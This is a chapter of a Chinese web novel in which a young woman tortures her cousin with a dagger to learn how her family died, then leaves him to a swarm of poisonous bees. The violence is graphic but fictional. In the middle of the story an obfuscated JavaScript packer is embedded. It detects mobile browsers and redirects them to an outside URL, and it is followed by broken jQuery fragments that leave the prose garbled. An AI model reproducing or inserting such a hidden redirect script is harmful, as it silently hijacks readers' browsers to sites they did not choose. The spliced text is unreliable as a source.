姜宁将匕首缓缓抽出,指尖漫不经心地在刀刃上来回摩挲,唇角轻轻一挑,笑意淡淡“表哥,这就撑不住了?我还以为你能多硬气一点。”
恐惧爬上巅峰时,求生的本能会燃烧到极致,连灵魂深处最污浊的阴影,也会被毫不留情地拖拽出来。
林赫忍着剧痛,挣扎着想要靠墙壁坐起来,才坐直,便看见刀锋在喉间缓缓下移。
“表哥伤得这么重,还爬起来做什么,就躺着说吧。”姜宁轻柔,又故作关心的声音在头顶响起。
他又狼狈地倒在湿冷的地面,山石寒意透骨,令他忍不住打了个寒颤。喉结艰难滑动,干裂的嗓音像被砂砾碾过般吐出几个字:“之前.......是我一时冲动.......”
讨好的话音才出口一半,林赫就瞥见姜宁唇角微微勾起,带着淡淡的讥讽。漆黑的眼眸中,充满了冰冷和嘲讽,无形的压迫感骤然笼罩下来,令林赫喉间的话语生生噎住,再没胆子往下说。
姜宁低眸俯视他,声音轻得像是耳语:“当年,我家人到底是怎么死的?”
林赫心头一震,怔怔抬头,不可置信地盯着她:“你......你真是表妹?”
他一直以为,这个女人不过是与林婉有过节,碰巧长得与早逝的姜宁相似,所以故意假扮来羞辱他们林家。可此时,他看着眼前少女的眼神——冰冷、带着刺骨的恨意,让他胸口骤然一紧。
“不可能!表妹.......表妹早就死了!”他的声音里带着慌乱与不可置信。可姜宁只是淡淡勾唇,笑得温柔。
他记得,七年前,林婉曾兴高采烈地告诉他——亲眼看见姜宁死去,尸体被扔进乱葬岗。怎么可能,还能站在自己面前?
林赫死死盯着她,不得不承认,这张脸几乎与记忆中的那人一模一样。只是,她看上去依旧年轻,算算年龄.......似乎有些对不上。可那股让他不寒而栗的熟悉感,却在逼着他动摇。
但是.......
喉咙干涩得发疼,他试探着哑声道:“你真是......表妹?”
姜宁淡淡一笑,唇角的弧度冰冷,“我爸爸,我妈妈,我姐姐,他们......到底是怎么死的?”
话音一落,林赫顿时急急狡辩,“当年....妹.....林婉.....她骗我!她说给表妹准备了生日礼物,让我配合她......表妹,我也是被她骗了......表妹,你放心!我回去就收拾她!”
“哦?原来表哥也是被骗了呀?那我的父母,我姐姐又是怎么死的呢?”姜宁恍然大悟,歪头看着林赫,眼眸漆黑而幽深。
林赫的目光闪了闪,小心翼翼地回道:“姨父外出任务不幸过世......姨妈因为伤心.....啊!!!”
话还没说完,寒光一闪,匕首已经狠狠刺进他左手腕,剧痛让他冷汗直流。
姜宁缓缓抽回匕首,语气温和却残忍:“表哥,你若还是想拿这些谎话糊弄我,那你就不需要再开口了。”
说罢,匕首便向林赫的喉咙刺去。
“我说!我说!”林赫瞳孔紧缩,盯着那只握刀的纤细手指,终于屈服,
“姨父是......为了救我父亲才死的,姨妈......是伤心过度才病死的......其他的我真的不知道!林婉肯定知道,你放我回去,我帮你查——”
姜宁似笑非笑,声音轻柔:“我爸身手那么好,还有异能,怎么会整个队都死了,只有舅舅这个废物回来?”
林赫沉默,眼神闪烁。抬眼对上姜宁漆黑的眼眸,浑身一寒,他喉咙滚动,低声道:“我偷听到.......我爸拿到药材时,污染物暴动.....姨父他们受伤.....血清只剩一份.......”
“所以,是你父亲的贪婪,想要污染区的东西,引来攻击,我父亲和队友为了救他才死,而你父亲独自用了唯一的血清,是吗?”姜宁的声音轻到几乎听不见。
林赫低着头没有说话,算是默认。匕首缓缓离开他的喉咙,他刚松了口气,剧痛却猛然袭来。
只见姜宁嘴角挂着温柔的笑意,匕首却在他的身上狠狠地划出一道道伤口,鲜血不停涌出,他疼的满脸扭曲,惊怒交加的看向姜宁。
“我爸和他的队友为了救你那贪婪的父亲,死在了污染区。”一刀狠狠地划在他的肚皮上。
“我妈因为伤心过度生病,没有药吃,病死了。”一刀狠狠地划在他的大腿上。
“你说,你们该不该死!”一刀刀狠狠插在他的左腿上。
林赫疼的满脸狰狞,他喘着粗气看着姜宁,咬牙道:“表妹,你不能杀我,你不是想复仇吗!你杀了我,你就永远不知道你姐姐怎么死的!你永远都不知道另一个仇人是谁了!”
姜宁停下动作,眼神冰冷:“你当真觉得我不知道你在隐瞒?林家忘恩负义,我不会放过,盖家——我也不会放过!”
林赫脸色灰白,她竟然知道,他的筹码没了,他急促开口,声音发颤“表妹,你还不能杀我!我.....我可以帮你!都怪林婉那死丫头,我帮你把她骗出来,把她推入炼狱,给你出气!”
姜宁微微歪着头盯着他,嘴角浮起一丝讥讽:“表哥,你可真是个好哥哥啊。”
求生的本能已彻底压过了所有其余的一切。林赫厚着脸皮道:“当然是表妹最重要!林婉她作恶多端,该受惩罚。”
姜宁听的笑了起来,声音轻柔得几乎像是在说情话,“我本来没打算现在杀了表哥呢,你为什么要这么着急,非要把我掳走,把我给你计划的结局都打乱了,表哥.......你现在让我很难办呢。”
林赫一听,冷汗顺着脊背直淌,慌不择言地祈求:“表妹,你小时候,我还教你认字呢!隔壁那个胖丫头欺负你,是我帮你出气的,你忘了吗?表哥错了,真的知道错了,你就放过我,好不好?”
姜宁望着他,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137310|180282||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
目光一点点冷下去。
此时的林赫既丑陋又狼狈。小时候,姐姐和表姐都嫌她顽皮,不愿意带她玩,但表哥会带她一起玩耍,会帮她教训欺负她的大孩子。会在父亲教训她时,替她背下黑锅,结果被舅舅揪着耳朵一顿胖揍,还会笑嘻嘻的告诉她,自己“不疼”,只可惜人心易变。
他们曾一起朝夕相处,曾是血脉相连的亲人。可如今,站在陌路的两端,他们之间隔着一条沾满鲜血、无法跨越的深沟。
不远处的山洞里,蜂群“嗡嗡嗡.....”的声音渐渐靠近。
姜宁淡淡的开口:“我去过仁和药店,药店经营的很好,开了好些家连锁店,表哥也成了异能队队员,表姐也是安全区人人都羡慕的富家小姐。”
她的眼神冷了下来,“可我的父母呢?我的姐姐呢?他们不远万里,把你们从污染区救回来,帮你们在安全区安家,资助舅舅开药店.......你们就这样回报他们的?”
“你们,可曾有过一丝后悔?可曾觉得自己做错了?”
她轻轻一笑,却没有半分温度,“后来,我才失望地发现,虚伪又自私的人,怎么都不会觉得是自己的错。”
善良之人受尽折磨而死,有罪之人,却在他处逍遥自在,真是可笑至极。
林赫的喉结艰难滚动,眼珠子微微转动,颤声道:“表妹......表哥真的知道错了......”
姜宁弯起嘴角,温柔的打断了他,“表哥,我不会杀你。”
林赫猛地抬头,眼底闪过震惊,随即是压抑不住的狂喜,“我就知道,表妹你人美心善,我回去就......”
“蜂群要过来了。”姜宁缓缓起身,再次打断他的话。她低下头,居高临下地看着他,唇角带着几分讥讽,“我先回去了。表哥......你好好和那些污染物相处吧。”
林赫浑身一震,猛然惊慌起来,拼命想要爬起,可刚一用力,四肢的伤口的疼痛便像刀子一样从四肢五骸钻进骨髓,根本用不了一点力。他这才意识到,姜宁下手的位置,全是让他无法动弹的穴位。
姜宁的背影越来越远,而蜂群的影子却越来越近。“嗡嗡嗡......”蜂鸣声越来越密,像是从四面八方逼近,猛地攥住了他的心脏,一寸寸收紧。
林赫的心脏狂跳着,忽然想到了小时候的画面,那年夏天,院子里也有这样的声音。姜宁蹲在墙角,被一只蜜蜂吓得直哭,他笑着抓住蜜蜂,假装要放到她手里,把她吓得一屁股坐在地上,眼泪鼻涕全糊在脸上。
那时候的她,眼睛又圆又亮,喊着“表哥坏!我以后长大了,也要拿蜜蜂来收拾你!”
没想到一语成谶,蜜蜂真的来了,还是污染区的毒蜂群。
林赫终于崩溃了,嘶声大骂、哀求、咒骂交织成一片,直到剧烈的惨叫声过后的一片死寂。
姜宁没有回头,走向另一条山洞通道,脚步稳而冷,仿佛那声音与她无关。